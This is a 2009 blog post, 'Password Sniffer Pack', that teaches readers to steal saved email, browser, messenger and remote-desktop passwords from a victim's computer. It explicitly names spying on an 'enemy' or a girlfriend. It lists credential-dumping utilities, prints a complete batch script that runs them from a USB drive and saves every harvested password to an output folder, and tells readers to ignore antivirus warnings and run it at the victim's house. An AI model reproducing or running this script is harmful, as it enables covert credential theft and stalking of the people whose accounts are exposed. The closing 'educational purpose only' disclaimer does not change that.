Saturday, September 26, 2009

Password Sniffer Pack

Password Sniffer Pack

Ever wanted to hack your enemy's email account password or wanted to spy your girlfriend's e-mails but couldn't do it??? Ever got frustated using brute password hacking tool for GMail password because it is time consuming??? Well now I am going to tell you a method by which you can steal all the password which are STORED inside the computer. Note that you have to have a touch with the computer or else it is impossible. Another thing is that most of the Antivirus software will see the softwares as virus. Ignore them.

For this you need:
  1. A normal sized pendrive.
  2. Internet connection (in your computer).
  3. Check that your victim is a fool.
  4. A little batch programming.

If you are lazy, then skip to Step Lazy.

First, download the following softwares:

MessenPass v1.26

Mail PassView v1.52

IE PassView v1.16

Protected Storage PassView v1.63

Dialupass v3.02

PasswordFox v1.11

Network Password Recovery v1.21

ChromePass v1.05

VNCPassView v1.02

Remote Desktop PassView v1.01

Extract them to a folder, Source. Create another folder named, Output.

Open up notepad and type the following:

@echo off
start Source\mspass.exe /stext Output\mspass.txt
start Source\mailpv.exe /stext Output\mailpv.txt
start Source\iepv.exe /stext Output\iepv.txt
start Source\pspv.exe /stext Output\pspv.txt
start Source\passwordfox.exe /stext Output\passwordfox.txt
start Source\dialupass.exe /stext Output\dialupass.txt
start Source\netpass.exe /stext Output\netpass.txt
start Source\ChromePass.exe /stext Output\ChromePass.txt
start Source\VNCPassView.exe /stext Output\VNCPassView.txt
start Source\rdpv.exe /stext Output\rdpv.txt

Save it as Essential scan.bat (Select All Files in Save as Type column). Copy the 2 folders and Essential scan.bat in your pendrive.

If you are very lazy then download the pack from here :

Go to your victims house, start the computer, plug in the pendrive and run Essential scan.bat. All the stored passwored will be captured in the Output folder.

NOTE: This article is for educational purpose only.

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